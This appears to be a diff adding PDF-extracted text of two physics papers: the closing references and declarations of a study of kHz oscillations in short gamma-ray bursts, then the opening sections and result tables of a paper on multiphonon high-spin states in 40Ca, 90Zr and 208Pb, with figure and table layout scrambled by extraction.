+[47] Guidorzi, C., Dichiara, S.
+& Amati, L.
+Individual power density spectra of Swift
+gamma-ray bursts. AAP 589, A98 (2016).
+[48] Lewin, W. H. G., van Paradijs, J. & van der
+Klis, M.
+A review of quasi-periodic oscil-
+lations in low-mass X-ray binaries.
+Space
+Science Research 46 (3-4), 273–377 (1988).
+
+Springer Nature 2021 LATEX template
+18
+kHz QPOs in sGRBs
+ 0
+ 30
+ 60
+ 90
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+a
+GRB910711
+energy channel 1
+ 0
+ 30
+ 60
+ 90
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+energy channel 2
+ 0
+ 30
+ 60
+ 90
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+counts
+energy channel 3
+ 0
+ 30
+ 60
+ 90
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+energy channel 4
+ 0
+ 60
+ 120
+ 180
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+total
+ 0
+ 10
+ 20
+ 30
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+d
+GRB931101B
+energy channel 1
+ 0
+ 10
+ 20
+ 30
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+energy channel 2
+ 0
+ 10
+ 20
+ 30
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+counts
+energy channel 3
+ 0
+ 10
+ 20
+ 30
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+energy channel 4
+ 0
+ 20
+ 40
+ 0
+ 20
+ 40
+ 60
+ 80
+ 100  120
+time (ms)
+total
+ 0
+ 4
+ 8
+ 12
+ 
+ 
+ 
+ 
+ 
+b
+GRB910711
+energy channel 1
+ 0
+ 4
+ 8
+ 12
+ 
+ 
+ 
+ 
+ 
+energy channel 2
+ 0
+ 4
+ 8
+ 12
+ 
+ 
+ 
+ 
+ 
+power
+energy channel 3
+ 0
+ 4
+ 8
+ 12
+ 
+ 
+ 
+ 
+ 
+energy channel 4
+ 0
+ 4
+ 8
+ 12
+ 
+ 
+ 
+ 
+ 
+total
+ 0
+ 4
+ 8
+ 12
+ 
+ 
+ 
+ 
+ 
+e
+GRB931101B
+energy channel 1
+ 0
+ 4
+ 8
+ 12
+ 
+ 
+ 
+ 
+ 
+energy channel 2
+ 0
+ 4
+ 8
+ 12
+ 
+ 
+ 
+ 
+ 
+power
+energy channel 3
+ 0
+ 4
+ 8
+ 12
+ 
+ 
+ 
+ 
+ 
+energy channel 4
+ 0
+ 4
+ 8
+ 12
+ 1000
+ 2000
+ 3000
+ 4000
+ 5000
+frequency (Hz)
+total
+c
+energy channel 1
+frequency (Hz)
+ 1
+ 2
+ 3
+ 4
+ 0
+ 1
+ 2
+ 3
+ 4
+ 5
+ 6
+ 7
+ 8
+power
+GRB910711
+energy channel 2
+frequency (Hz)
+ 1
+ 2
+ 3
+ 4
+energy channel 3
+frequency (Hz)
+ 1
+ 2
+ 3
+ 4
+frequency (kHz)
+energy channel 4
+frequency (Hz)
+ 1
+ 2
+ 3
+ 4
+total
+frequency (Hz)
+ 1
+ 2
+ 3
+ 4
+f
+energy channel 1
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+ 1
+ 2
+ 3
+ 4
+GRB931101B
+energy channel 2
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+ 1
+ 2
+ 3
+ 4
+energy channel 3
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+ 1
+ 2
+ 3
+ 4
+frequency (kHz)
+energy channel 4
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+ 1
+ 2
+ 3
+ 4
+total
+ 0
+ 20
+ 40
+ 60
+ 80
+ 100  120
+time (ms)
+ 1
+ 2
+ 3
+ 4
+Extended Data Fig.
+7 | Energy dependence of burst properties. a, Light curves of GRB 910711, in each of the
+four BATSE TTE channels and combined, over the segment of data (0.131072 s) that contains our strong signal. We see that
+the higher-energy channels 3 and 4 have greater flux relative to the pre-burst background than the lower-energy channels 1
+and 2. b, The power spectra of GRB 910711, in each of the four BATSE TTE energy channels and combined. The energy
+ranges are 20 − 50 keV, 50 − 100 keV, 100 − 300 keV, and > 300 keV for channels 1, 2, 3, and 4, respectively. The vertical
+dotted lines show the centroid frequencies of the QPOs we identify in the summed channel 3 and 4 data (see Extended
+Data Table 5). c, The spectrogram of GRB 910711, in each energy channel separately as well as in all channels combined,
+using the same intervals as in Figure 4. The color bar on top of each set of plots shows the power scale. The distribution of
+power, in time and frequency, is complicated. The black arrows indicate the mean values of the QPO frequencies given in
+Table 1. In some cases (e.g., energy channel 3) there may be evidence for significant power prior to the main burst. d, e,
+f, The same plots for GRB 931101B.
+
+Springer Nature 2021 LATEX template
+kHz QPOs in sGRBs
+19
+[49] Lien, A. et al. The Third Swift Burst Alert
+Telescope Gamma-Ray Burst Catalog. Astro-
+phys. J. 829 (1), 7 (2016).
+[50] https://fermi.gsfc.nasa.gov/ssc/data/p7rep/
+analysis/scitools/gbm grb analysis.html
+[51] https://heasarc.gsfc.nasa.gov/FTP/
+compton/data/batse/ascii data/batse tte/
+[52] https://heasarc.gsfc.nasa.gov/W3Browse/
+all/batse3b.html
+[53] Leahy, D. A. et al. On searches for pulsed
+emission with application to four globular
+cluster X-ray sources : NGC 1851, 6441, 6624
+and 6712. Astrophys. J. 266, 160–170 (1983).
+[54] Goodman, J. & Weare, J.
+Ensemble sam-
+plers with affine invariance. Communications
+in Applied Mathematics and Computational
+Science 5 (1), 65–80 (2010).
+[55] H¨ubner, M., Huppenkothen, D., Lasky, P. D.
+& Inglis, A. R.
+Pitfalls of Periodograms:
+The Nonstationarity Bias in the Analysis
+of Quasiperiodic Oscillations. Astrophys. J.
+Suppl. 259 (2), 32 (2022).
+[56] Paciesas, W. S. et al.
+The Fourth BATSE
+Gamma-Ray Burst Catalog (Revised). Astro-
+phys. J. Suppl. 122 (2), 465–495 (1999).
+[57] Burns, E. et al. Identification of a Local Sam-
+ple of Gamma-Ray Bursts Consistent with a
+Magnetar Giant Flare Origin. Astrophys. J.
+Lett. 907 (2), L28 (2021).
+[58] D´alya, G. et al. GLADE: A galaxy catalogue
+for multimessenger searches in the advanced
+gravitational-wave detector era.
+Mon. Not.
+R. Astron. Soc. 479 (2), 2374–2381 (2018).
+[59] D´alya, G. et al.
+GLADE+: An Extended
+Galaxy
+Catalogue
+for
+Multimessenger
+Searches with Advanced Gravitational-wave
+Detectors.
+arXiv e-prints arXiv:2110.06184
+(2021).
+[60] Meegan, C. A. et al.
+The Third BATSE
+Gamma-Ray Burst Catalog.
+Astrophys. J.
+Suppl. 106, 65 (1996).
+[61] Karachentsev, I. D., Karachentseva, V. E.,
+Huchtmeier, W. K. & Makarov, D. I.
+A
+Catalog of Neighboring Galaxies. Astron. J.
+127 (4), 2031–2068 (2004).
+[62] Bauswein, A. & Janka, H. T.
+Measuring
+Neutron-Star Properties via Gravitational
+Waves from Neutron-Star Mergers.
+Phys.
+Rev. Lett. 108 (1), 011101 (2012).
+[63] Rosofsky, S. G., Gold, R., Chirenti, C.,
+Huerta, E. A. & Miller, M. C. Probing neu-
+tron star structure via f -mode oscillations
+and damping in dynamical spacetime models.
+Phys. Rev. D 99 (8), 084024 (2019).
+[64] van der Klis, M. et al.
+Discovery of Sub-
+millisecond Quasi-periodic Oscillations in the
+X-Ray Flux of Scorpius X-1. Astrophys. J.
+Lett. 469, L1 (1996).
+[65] Grefenstette, B. W., Smith, D. M., Dwyer,
+J. R. & Fishman, G. J.
+Time evolution of
+terrestrial gamma ray flashes.
+Geophysical
+Research Letters 35 (6), L06802 (2008).
+Declarations
+Acknowledgments.
+We thank Brad Cenko,
+Alessandra Corsi, Liz Hays, Fred Lamb, Jay Nor-
+ris, Luciano Rezzolla, Nikhil Sarin, David Shoe-
+maker and Zorawar Wadiasingh for discussions.
+C. C. acknowledges support by NASA under
+award numbers 80GSFC17M0002 and TCAN-
+80NSSC18K1488. M. C. M. was supported in part
+by NASA ADAP grant 80NSSC21K0649. This
+work was partially conducted at the Aspen Center
+for Physics, which is supported by National Sci-
+ence Foundation grant PHY-1607611. Resources
+supporting this work were provided by the NASA
+High-End Computing (HEC) Program through
+the NASA Center for Climate Simulation (NCCS)
+at Goddard Space Flight Center.
+Authors’ Contributions.
+C.C. led the project
+based on her idea of the possibility of a signal. S.D.
+extracted the Fermi/GBM data and performed
+the galaxy host search. A.L. extracted the Swift/-
+BAT data and identified cosmic ray contamination
+in that data. M.C.M. obtained the BATSE data
+and performed most of the data analysis. R.P. pro-
+vided expertise about possible systematic errors
+
+Springer Nature 2021 LATEX template
+20
+kHz QPOs in sGRBs
+in the BATSE data. All authors contributed ideas
+to the manuscript.
+Competing interests.
+The authors declare no
+competing interests (financial or non-financial).
+Author
+information.
+Correspondence
+and
+requests for materials should be addressed to
+chirenti@umd.edu
+

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@@ -0,0 +1,2307 @@
+Multiphonon structure of high-spin states in 40Ca, 90Zr, and 208Pb
+N. Lyutorovich and V. Tselyaev
+St.
+Petersburg State University, St.
+Petersburg, 199034, Russia
+(Dated: January 23, 2023)
+The method of description of the high-spin states, which was previously developed and applied
+for the states of this type in 208Pb, is generalized for the case of the states having more complex
+multiphonon structure. In this method, the harmonic approximation with the renormalized phonons
+is used in which the phonons themselves are determined within the non-linear version of the model
+based on the random-phase approximation (RPA) and including both the RPA correlations and the
+beyond-RPA ones. The mean field and the residual interaction are derived within the framework
+of the self-consistent RPA from the energy-density functional of the Skyrme type. The method is
+applied for the analysis of the available experimental data in doubly magic 208Pb and 40Ca and in
+semi-magic 90Zr.
+I.
+INTRODUCTION
+High-spin states in nuclei have been the subject of
+the experimental and theoretical investigations for a long
+time (see reviews [1–3]) and continue to be a topic of
+current interest, see, e.g., Refs.
+[4–9].
+The most part
+of the data on the high-spin states refers to the non-
+magic nuclei, however the recent experiments and the-
+oretical analysis show that there are also long series of
+high-spin states in magic and semi-magic nuclei [10–18].
+At present, the high-spin states have been experimen-
+tally identified only in two doubly-magic nuclei, 208Pb
+and 40Ca, and in the semi-magic nucleus 90Zr. The first
+observation of high-spin states in these nuclei has been
+made in 90Zr in Ref. [19] where the states up to spin
+I = 20 were investigated and the shell-model (SM) cal-
+culations were performed. The large-scale SM calcula-
+tions for rotational bands in 90Zr were also presented
+in Refs. [18, 20] where previous experiments and calcu-
+lations are also reviewed. At the same time, the close
+coexistence of spherical states having n-particle–n-hole
+(npnh) configuration structure with deformed and su-
+perdeformed rotational bands in magic and semi-magic
+nuclei significantly complicates their theoretical descrip-
+tion.
+Experimental and theoretical studies of 40Ca nucleus
+show a very complex structure of its excited states, where
+the spherical states and approximately five rotational
+bands, including normally deformed (ND) and superde-
+formed (SD) bands, exist [11, 13, 16, 21]. The studies
+show that the first and the second 0+ excited states in
+this nucleus, i.e.
+ND and SD band-heads, have 4p4h
+and 8p8h configuration structures, respectively. Calcu-
+lations for the ND and SD bands were performed in the
+cranked relativistic mean-field [11] and cranked HF or
+HFB [12, 16, 22] models. The SD-band properties were
+also studied in the framework of the cranking covariant
+density functional theory with pairing in the shell-model-
+like approach with conserved particle numbers [17]. The
+transition (not band-head) energies and quadrupole mo-
+ments of the ND and SD bands were well reproduced in
+the large-scale SM calculations in Ref. [13].
+It should
+be noted that, in all these methods, calculations overes-
+timate the energy of the ND and SD band-head states.
+However, besides the ND and SD bands, there are many
+other states in 40Ca which have not yet been described
+within the microscopic approach.
+The doubly magic 208Pb is of particular interest since
+many high-spin states have been experimentally assigned
+in this nucleus and since it is a conventional laboratory to
+test the theory. Very important new experimental data
+for 208Pb up to spin I = 30 together with a theoretical
+analysis in the framework of the SM have been presented
+in Ref. [15]. The advantage of the SM calculations is that
+they allow one to take into account many complex con-
+figurations. However, the model of Ref. [15] is not self-
+consistent in particular because the single-particle (sp)
+energies used in the calculations were adjusted to repro-
+duce the experimental spectra of the neighboring odd
+nuclei.
+The self-consistent description of the high-spin states
+in 208Pb has been presented in Ref. [23] within the renor-
+malized time-blocking approximation (RenTBA) devel-
+oped in Ref. [24]. The RenTBA is the non-linear ver-
+sion of the model based on the random-phase approxi-
+mation (RPA) and including both the RPA correlations
+and the beyond-RPA ones. The main configuration space
+of the RenTBA consists of the 1p1h and 1p1h ⊗ phonon
+configurations where the phonons are determined self-
+consistently from the non-linear RenTBA equations and
+thus include correlations beyond the RPA. The more
+complex configurations are included in the RenTBA in
+part due to the ground-state correlations (of the RPA
+type) and the non-linear effects (see [24] for more de-
+tails). In Ref. [23] it was obtained that the uncoupled
+1p1h ⊗ phonon configurations are rather good approxi-
+mation for the high-spin states in 208Pb. However, in this
+model the correlations between the 1p1h components of
+the 1p1h ⊗ phonon configurations are neglected. The in-
+clusion of these correlations means the replacement of the
+1p1h ⊗ phonon configurations with the phonon⊗ phonon
+ones. The results of Ref. [23] show that the effect of this
+replacement can be noticeable. One can expect that this
+effect will increase at the increase of the spin of the state
+resulting in the increase of its configuration complexity.
+The most elaborated approach in which the mul-
+arXiv:2301.08643v1  [nucl-th]  20 Jan 2023
+
+2
+tiphonon configurations are included explicitly is the
+quasiparticle-phonon model (QPM) of Soloviev and co-
+workers (see [25–28] and references therein and also Refs.
+[29, 30] where the self-consistent version of this model was
+developed).
+In the QPM, the interaction between the
+phonons is taken into account, but the phonons are de-
+termined as the solutions of the RPA or the quasiparticle
+RPA equations. More recently, the multiphonon models
+were developed in Refs.
+[31–33] within the framework
+of an equation of motion phonon method (EMPM), in
+which the phonons are introduced in the Tamm-Dancoff
+approximation, and in Ref. [34] within the covariant nu-
+clear response theory based on the relativistic quasiparti-
+cle time-blocking approximation. However, to our knowl-
+edge, these models including QPM were not applied to
+the study of the multiphonon high-spin states.
+Consistent multiphonon model should certainly takes
+into account interaction between the phonons and re-
+strictions imposed by the Pauli principle. The phonon-
+phonon interaction is especially important in the models
+in which the phonon basis is fixed as it takes place, e.g.,
+in the QPM and EMPM. In this case the phonon-phonon
+interaction can affect the properties of both multiphonon
+and one-phonon states, in particular, their energies. In
+the method used in Ref. [23], the effect of the phonon-
+phonon interaction on the one-phonon states is incor-
+porated by means of the phonon renormalization within
+the RenTBA. The effect of this interaction on the two-
+phonon high-spin states (composed of the renormalized
+phonons) was found to be small by comparing the ener-
+gies of the pure 1p1h ⊗ phonon configurations with the
+results of the full-scale RenTBA calculations.
+The goal of the present paper is to extend the method
+of Ref. [23] to the high-spin states having multiphonon
+structure. The calculation scheme is fully self-consistent
+and is based on the energy-density functional (EDF) of
+the Skyrme type.
+Calculations are performed for the
+high-spin states in 40Ca, 90Zr, and 208Pb. The results
+are compared with available experimental data.
+II.
+THEORETICAL FRAMEWORK AND
+CALCULATION SCHEME
+Our approach is based on the harmonic approxima-
+tion with the renormalized phonons.
+Thus, the basic
+elements of the theory are the phonons which are de-
+termined within the RenTBA. The RenTBA (see [24] for
+more details) is a non-linear version of the time-blocking
+approximation which is a model of the extended RPA
+type including 1p1h⊗phonon configurations on top of the
+configurations incorporated in the RPA. The renormal-
+ized phonons are described by the solutions of the (non-
+linear) RenTBA equations and therefore include 1p1h,
+1p1h ⊗ phonon, and more complex configurations result-
+ing from the non-linear effects. As was shown in [24, 35],
+the renormalization reduces the energies of the phonons
+as compared to their RPA values that usually decreases
+discrepancy with the experiment in the case of the self-
+consistent scheme based on the Skyrme EDFs, see Tables
+VII–IX in the Appendix. The harmonic approximation
+means that the interaction between 1p1h and more com-
+plex configurations is taken into account in the renormal-
+ized phonons (having relatively low energies) but not be-
+tween them in the multiphonon configurations at higher
+energies and thus the energy of the multiphonon state is
+determined as a simple sum of the energies of the renor-
+malized phonons. In what follows, we call this approach
+the multiphonon model in the harmonic approximation,
+or, for brevity, the multiphonon model. To minimize vi-
+olation of the Pauli principle in the multiphonon con-
+figurations we use a simple method in which incompat-
+ible phonon combinations are excluded with the help of
+the numerical analysis of the 1p1h structure of the main
+(RPA) components of the phonons.
+The technical details of the calculations are the fol-
+lowing. The single-particle (s.p.) basis and residual in-
+teraction were calculated by the variational method for
+the Skyrme EDF as described in Ref. [36]. At the first
+step, the phonons are calculated in the RPA and, at the
+second step, they are self-consistently optimized in the
+RenTBA that implies the solution of the system of non-
+linear equations [24].
+In the calculations, the Skyrme EDF with the param-
+eter set SV-bas−0.44 was used. This set were obtained
+in Ref. [35] on the base of the parametrization SV-bas
+[37] to reproduce the basic experimental characteristics
+of the M1 excitations in 208Pb within the RenTBA and
+at the same time to describe the nuclear ground-state
+properties with approximately the same accuracy as the
+original SV-bas set.
+Wave functions and fields were represented on a spher-
+ical grid in coordinate space.
+The s.p.
+basis was dis-
+cretized by imposing box boundary condition with a box
+radius equal to 18 fm. The particle’s energies εp were
+limited by the maximum value εmax
+p
+= 100 MeV. The
+details of solving the non-linear RenTBA equations are
+described in Ref. [35].
+III.
+RESULTS AND DISCUSSION
+The high-spin states are in the energy region where
+the level density is high, so there may be uncertainties
+in comparing the theoretical values with the data. The
+uncertainties are not very essential in the given investi-
+gation because we consider only low levels for every spin
+and parity. For 208Pb and 90Zr, we study yrast, yrare,
+and those additional levels for which experimental data
+are available.
+For 40Ca, where both spherical and de-
+formed states are known, we investigate all the states
+excluding the ND and SD rotational bands because the
+method can not describe the states having a large defor-
+mation. At the same time, for 40Ca and 90Zr, we also
+considered states with low spins in order to give a com-
+plete picture of the states in these nuclei. The number
+
+3
+of known low-spin states in 208Pb is very large, so they
+deserve a separate study which goes beyond the scope of
+this article.
+A.
+208Pb
+The results for the high-spin states in 208Pb and a com-
+parison with available data are presented in Tables I (pos-
+itive parity states) and II (negative parity states), where
+I and π denote spin and parity of a state, n is a num-
+ber of the level for the given Iπ, E are experimental and
+theoretical energies (in MeV). The experimental values
+were taken from Refs. [15, 38]. The letters next to the
+theoretical values denote the phonon configuration for
+every multiphonon state. The correspondence of these
+letters to phonons and the structure of the RPA phonons
+are shown in the Appendix, Table VII. The renormalized
+phonons have more complex form where the RPA state
+presents the main part and, in addition, there are many
+additional components. Thus, the RPA phonon struc-
+ture reflects the most significant part of the renormal-
+ized phonons. The renormalization of phonons changes
+the phonon energies of 208Pb by 0.3 – 1.4 MeV, see Ap-
+pendix, Table VII, and the renormalization is especially
+large for high-spin phonons.
+In some cases, the spin-parity assignment of levels does
+not match in Refs. [15] and [38], namely, for the levels of
+7.974, 8.027, and 9.061 MeV. In these cases, we preferred
+the [15] identification, because it is more recent and more
+substantiated. Our calculations confirm the correctness
+of this choice.
+Tables I and II show that results of the self-consistent
+calculations for 208Pb in the framework of the multi-
+phonon model are in fairly well agreement with the ex-
+perimental data without any refit of the parameters. The
+close results were obtained in Ref. [23] with parametriza-
+tion SKXm−0.49 [35], but here we extend the results to
+the three-phonon states.
+An important point is that,
+while there are many close two- and three-phonon states,
+the yrast and yrare nuclear levels are described just as
+the lowest states for the given spin and parity. Of course,
+the model cannot establish a one-to-one correspondence
+between theoretical and experimental values for these
+states. But for the yrast and yrare levels, the energies are
+predicted with an accuracy no worse than the difference
+between the energies of these levels.
+The energies of the yrast states in 208Pb as a function
+of I(I + 1) in the spin range 13 ≤ I ≤ 30 are presented
+in Fig. 1. Here, the energies E (in MeV) calculated in
+the multiphonon model with the SV-bas−0.44 functional
+are shown by green dots connected by lines of the same
+color, the experimental data [15, 38] are given in black
+squares.
+Our new results confirm the conclusions made in the
+previous paper, Ref. [23]. The general trend looks very
+much like a rotational band, though the experimental
+trend in detail does not always follow exactly a straight
+TABLE I.
+Positive parity states in 208Pb obtained in the
+multiphonon model with renormalized phonons for the SV-
+bas−0.44 Skyrme parametrization. Here, Iπ denotes spin and
+parity of a level, n is a number of the level for the given Iπ, E
+are experimental [15, 38] and theoretical energies. The letters
+next to the theoretical values denote phonons: see Appendix,
+Table VII.
+Iπ
+n
+E[MeV]
+Iπ
+n
+E[MeV]
+Exp.
+SV-bas−0.44
+Exp.
+SV-bas−0.44
+14+
+1
+9.16 bc
+13+
+1
+9.00 bc
+14+
+2
+9.36 cc
+13+
+2
+9.21 dj
+16+
+1
+9.21 bc
+15+
+1
+a
+9.21 bc
+16+
+2
+9.35 cc
+15+
+2
+9.33 cc
+18+
+1
+9.1030
+9.44 cc
+17+
+1
+9.061 a
+9.43 cc
+18+
+2
+9.82 ck
+17+
+2
+9.68 ar
+20+
+1
+10.1959 9.51 cc
+19+
+1
+9.394
+9.48 cc
+(20+
+2 ) 10.3573 10.19 ck
+(19+) b 10.1358 10.04 ck
+20+
+3
+10.3710 10.63 cl
+19+
+10.1362 10.17 cu
+(20+
+4 ) 10.5313 10.64 cm
+21+
+1
+9.50 cc
+(20+
+5 ) 10.5524 10.95 kl
+21+
+2
+10.38 ck
+22+
+1
+10.96 cl
+23+
+1
+11.3609 12.17 ll
+22+
+2
+11.60 ll
+23+
+2
+12.90 pr
+24+
+1
+11.9582 12.96 rr
+25+
+1
+12.9493 13.14 qr
+24+
+2
+13.00 qr
+25+
+2
+13.29 rr
+26+
+1
+13.11 rr
+27+
+1
+13.28 kk
+26+
+2
+13.30 qr
+27+
+2
+14.06 ccc
+28+
+1
+14.20 ccc
+29+
+1
+14.23 ccc
+28+
+2
+14.61 cck
+29+
+2
+14.60 cck
+30+
+1
+14.24 ccc
+30+
+2
+14.89 ccg
+a The spin-parity assignment to the level 9.061 is (17+) in the
+NDS [38] and 17+ in Ref. [15] but 15+ in Ref. [39].
+b The spin-parity assignment to the level 10.1358 in Ref. [15] is
+(18−, 19+).
+line:
+E is approximately constant in the ranges I =
+17 − 18 and 26 − 28. This deviation is easy explained in
+the framework of the multiphonon model. These parts
+with the constant E values arise as parts of the phonon
+multiplets with some additional details arisen because of
+the phonon renormalization. Nevertheless, on the whole,
+both experimental and theoretical trends are similar to a
+rotational band. However, this band does not rely on a
+collective rotation that is hindered by the spherical shape
+and the large shell gap in 208Pb.
+The analysis of the
+microscopic structure shows that the high-spin states in
+208Pb have predominantly simple form in terms of s.p.
+excitations since these states have a simple form in terms
+of phonons (i.e., they are two- and three phonon states)
+and, at the same time, the phonons are approximately
+1p1h states (see the in Table VII). Some complication
+arises because of the renormalization of the phonons, but
+this is just the same renormalization that changes the
+bare phonons appearing in the self-consistent RPA to the
+dressed phonons appearing as the 208Pb lower spin states
+observed in the experiment. The rotational trend stems
+from a change in the angular momentum of one single
+
+4
+TABLE II. The same as in Table I but for the negative parity
+states in 208Pb.
+Iπ
+n
+E[MeV]
+Iπ
+n
+E[MeV]
+Exp.
+SV-bas−0.44
+Exp.
+SV-bas−0.44
+13−
+1
+6.448
+6.47 r
+14−
+1
+6.743
+6.81 r
+13−
+2
+7.5288
+7.62 ac
+14−
+2
+7.974 b
+7.72 ac
+15−
+1
+8.027 a
+8.34 cd
+16−
+1
+8.562
+8.70 ce
+(15−
+2 )
+8.1506
+8.66 ce
+16−
+2
+8.6007
+9.03 cd
+15−
+3
+8.2645
+8.86 cf
+16−
+3
+8.7235
+9.06 cf
+15−
+4
+8.3508
+9.04 dk
+18−
+1
+10.1358 c
+10.29 ci
+17−
+1
+8.8128
+9.36 ch
+18−
+2
+10.35 cj
+17−
+2
+9.57 ct
+20−
+1
+10.3419
+11.07 cp
+19−
+1
+10.55 cj
+20−
+2
+11.13 cr
+19−
+2
+11.03 br
+22−
+1
+11.22 cr
+21−
+1
+10.9343
+11.15 cr
+22−
+2
+11.35 cq
+21−
+2
+11.22 co
+24−
+1
+11.47 cr
+23−
+1
+11.40 cr
+24−
+2
+12.28 lr
+23−
+2
+11.77 cs
+26−
+1
+13.5360
+13.35 cce
+25−
+1
+12.87 lr
+26−
+2
+13.88 ccg
+25−
+2
+13.30 cce
+28−
+1
+13.6747
+14.93 cci
+27−
+1
+14.08 ccg
+28−
+2
+15.00 ccp
+27−
+2
+14.22 cct
+30−
+1
+15.72 ccp
+29−
+1
+15.20 ccj
+30−
+2
+15.78 ccr
+29−
+2
+15.68 bcr
+a The NDS [38] assignment to the level 8.027 is (14−) but
+Ref. [15] defines this level as 15−.
+b The NDS [38] spin-parity assignment to the level 7.974 is (15−)
+but [15] assigns this level as 14−.
+c The spin-parity assignment to the level 10.1358 in Ref. [15] is
+(18−, 19+).
+nucleon. Here the rotational part of the s.p. kinetic en-
+ergy gives a large contribution to the nucleon energy and
+thereby to the change of nucleus energy.
+The calculations show the following structure of the
+high-spin states in 208Pb. The 13−
+1 and 14−
+1 states have
+one-phonon configurations while the other states with
+spins 13 ⩽ I ⩽ 26 including 13−
+2 and 14−
+2 but except for
+26− are two-phonon configurations. The 26+
+2 and 27+
+1
+states are of the two-phonon nature while all the other
+states with I = 27 and the even larger I need the treat-
+ment in terms of the three-phonon configurations.
+Of
+course, we described here only several lowest states for
+every spin and parity. For higher energies, the structure
+of states becomes more complicated.
+B.
+40Ca
+As it was mentioned, we do not consider the ND and
+SD rotational bands in 40Ca based on the 0+
+2 and 0+
+3
+states. The ND and SD band-head states have, in the
+deformed basis, the 4p4h and 8p8h configuration struc-
+ture, respectively, and it is very difficult to describe such
+states in the spherical basis.
+The results for all other
+states in 40Ca are presented in Tables III (positive par-
+ity states) and IV (negative parity) where denotations
+6
+8
+10
+12
+14
+16
+EI[MeV]
+200
+300
+400
+500
+600
+700
+800
+900
+I(I+1)
+6
+8
+10
+12
+14
+EI[MeV]
+SV-bas-0.44
+exp.
+(a) unnatural parity
+(b) natural parity
+I=15
+I=29
+I=25
+I=20
+208Pb
+FIG. 1.
+The energies E1 of
+208Pb yrast states calcu-
+lated with RenTBA multiphonon model for the SV-bas−0.44
+Skyrme parametrization (green line with circles) are shown as
+function of I(I + 1) for the spins 13 ⩽ I ⩽ 30 and compared
+with available experimental data [15, 38] (black squares).
+are the same as in Table I, but different notation for
+phonons. The correspondence of the letters to phonons
+and the structure of the RPA phonons are shown in Ap-
+pendix, Table VIII.
+The calculations were performed
+with the same SV-bas−0.44 Skyrme parametrization that
+was used for 208Pb.
+For 40Ca, the renormalization of
+phonons changes the phonon energies by 0.2 – 0.6 MeV
+(see Appendix, Table VIII) that is less than the renor-
+malization for 208Pb. But many states in 40Ca have 3-,
+4- and even 5-phonon configurations therefore the renor-
+malization can change the state energies by 1–1.5 MeV.
+When evaluating the quality of the description of lev-
+els, two circumstances should be taken into account.
+First of all, our calculations are a first attempt to de-
+scribe all these level in a self-consistent model. As shown
+in Introduction, there are calculations only for the ND
+and SD bands and all the calculations overestimate the
+energy of the band-heads by 2 MeV or more, therefore,
+in many papers, this energy or an energy of another band
+state (e.g., the I = 16 state in Ref. [17]) is taken as a ref-
+erence. Secondly, we include in the consideration three
+rotational bands that have the following possible inter-
+pretation (see Ref. [21], p. 211 and references therein):
+γ sequence based on 8+ state, 3+ band, and Kp = 0−
+band (denotations [21]). The most deviation of our re-
+sults from the data are just for the states of these bands
+but the deviation does not exceed 2 MeV and does not
+exceed the above mentioned deviation for the ND and SD
+band. Nevertheless, for some states of the three bands
+our results are in general satisfactory and may be con-
+sidered as another possible interpretation of the states.
+
+5
+TABLE III. The same as in Table I but for the positive par-
+ity states in 40Ca. The letters next to the theoretical values
+denote phonons: see Appendix, Table VIII. The experimental
+data are taken from Ref. [21].
+Iπ
+n
+E[MeV]
+Iπ
+n
+E[MeV]
+Exp.
+SV-bas−0.44
+Exp.
+SV-bas−0.44
+2+
+2
+5.249
+6.75 aa
+1+
+1
+8.25 ac
+2+
+4
+6.422
+8.25 ac
+1+
+1
+8.50 ad
+4+
+2
+6.507
+6.75 aa
+3+
+6.030 b
+8.25 ac
+3+, 4+
+7.446
+8.25 ac
+3+
+8.38 ad
+4+
+7.561
+8.50 ad
+(5+)
+7.397 b
+8.25 ac
+(6+)
+7.676
+6.75 aa
+5+
+8.38 ad
+(6+)
+8.701
+8.25 ac
+(7+)
+8.936
+8.25 ac
+8+
+8.100 a
+8.38 ad
+7+
+8.38 ad
+8+
+9.73 cc
+(9+)
+11.70
+9.87 cd
+10+
+11.00 a
+13.5 aaaa
+9+
+10.12 ce
+(10+)
+12.59
+15.0 aaac
+(11+)
+13.53 b
+15.0 aaac
+(10+)
+13.19
+15.13 aaad
+11+
+15.1 aaad
+(12+)
+13.12 a
+15.0 aaac
+(13+)
+15.15 a
+15.1 aaad
+(12+)
+15.75
+15.1 aaad
+(13+)
+16.58 b
+16.5 aacc
+(14+)
+17.70
+16.9 aade
+(15+)
+19.19
+18.13 aadf
+(14+)
+18.05
+17.0 aaee
+(15+)
+18.25 aaef
+(14+)
+18.72
+18.0 aacf
+a γ sequence based on 8+ [21], p. 211.
+b 3+ band [21], p. 211.
+The one-phonon E(0−
+1 ) and E(1−
+1 ) values exceed the
+proton separation energy in 40Ca calculated with the
+given parameter set, Stheor.(p) = 7.565 MeV (the exper-
+imental value Sexp.(p) = 8328.17 [21]). These energies
+have been recalculated in RenTBA taking into account
+the s.p. continuum, and the values given in the tables
+takes this effect into account. The continuum effect is
+not significant for the two- and many-phonon states.
+The calculation results allow us to refine the identifica-
+tion of some levels in 40Ca. The experimental assignment
+to the 7.623 level is (2−, 3, 4+) [21]. Possible theoretical
+states corresponding to this level are 2−
+3 , 3−
+5 , 3+
+2 , and 4+
+7
+with the energies 8.77, 7.45 k, 8.38 ad and 8.63 ab, re-
+spectively. It should be noted that the 4+
+1 and 4+
+3 states
+belong to the ND and SD bands, respectively, and there-
+fore they are not shown in the table. The most probable
+assignment for the 7.623 level is 3−
+5 .
+The experimental assignment to the 6.938 level is (1−
+to 5−) [21] but our calculations show that the most prob-
+able assignment is 5− because all the other states have
+too high energies. The experimental assignment to the
+8.359 level is (0, 1, 2)− [21]. Our calculations show that
+the most probable assignment is 0−
+1 .
+C.
+Semi-magic 90Zr
+New experimental data for the states up to spin I = 20
+in 90Zr and the shell-model calculations are given in
+Ref. [18]. The 90Zr high-spin states were interpreted to be
+TABLE IV.
+The same as in Table III but for the negative
+parity states in 40Ca.
+Iπ
+n
+E[MeV]
+Iπ
+n
